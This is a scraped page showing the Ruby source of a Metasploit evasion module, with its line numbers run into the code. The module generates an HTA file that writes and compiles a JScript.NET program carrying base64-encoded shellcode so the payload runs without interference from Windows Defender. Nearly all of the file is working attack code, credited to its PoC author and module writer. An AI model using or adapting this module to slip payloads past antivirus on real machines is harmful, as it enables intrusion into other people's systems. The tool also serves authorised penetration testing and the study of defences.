Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/evasion/windows/windows_defender_js_hta.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Evasion67def initialize(info={})8super(merge_info(info,9'Name' => 'Microsoft Windows Defender Evasive JS.Net and HTA',10'Description' => %q{11This module will generate an HTA file that writes and compiles a JScript.NET file12containing shellcode on the target machine. After compilation, the generated EXE will13execute the shellcode without interference from Windows Defender.1415It is recommended that you use a payload that uses RC4 or HTTPS for best experience.16},17'Author' =>18[19'sinmygit', # PoC20'Shelby Pace' # Metasploit Module21],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => ARCH_X64,25'Targets' => [ [ 'Microsoft Windows', {} ] ]26))2728register_options([29OptString.new(30'FILENAME',31[32true,33'Filename for the evasive file (default: random)',34"#{Rex::Text.rand_text_alpha(3..10)}.hta"35])36])37end3839def run40# This is used in the ERB template41file_payload = Rex::Text.encode_base64(payload.encoded)42evasion_shellcode_path = File.join(Msf::Config.data_directory, 'exploits', 'evasion_shellcode.js')43jsnet_code = File.read(evasion_shellcode_path)44fail_with(Failure::NotFound, 'The JScript.NET file was not found.') unless File.exist?(evasion_shellcode_path)45js_file = ERB.new(jsnet_code).result(binding())46jsnet_encoded = Rex::Text.encode_base64(js_file)47# This is used in the ERB template48fname = Rex::Text.rand_text_alpha(6)49arch = ["x86", "x64"].include?(payload.arch.first) ? payload.arch.first : "anycpu"50hta_path = File.join(Msf::Config.data_directory, 'exploits', 'hta_evasion.hta')51hta = File.read(hta_path)52fail_with(Failure::NotFound, 'The HTA file was not found.') unless File.exist?(hta_path)53hta_file = ERB.new(hta).result(binding())54file_create(hta_file)55end56end575859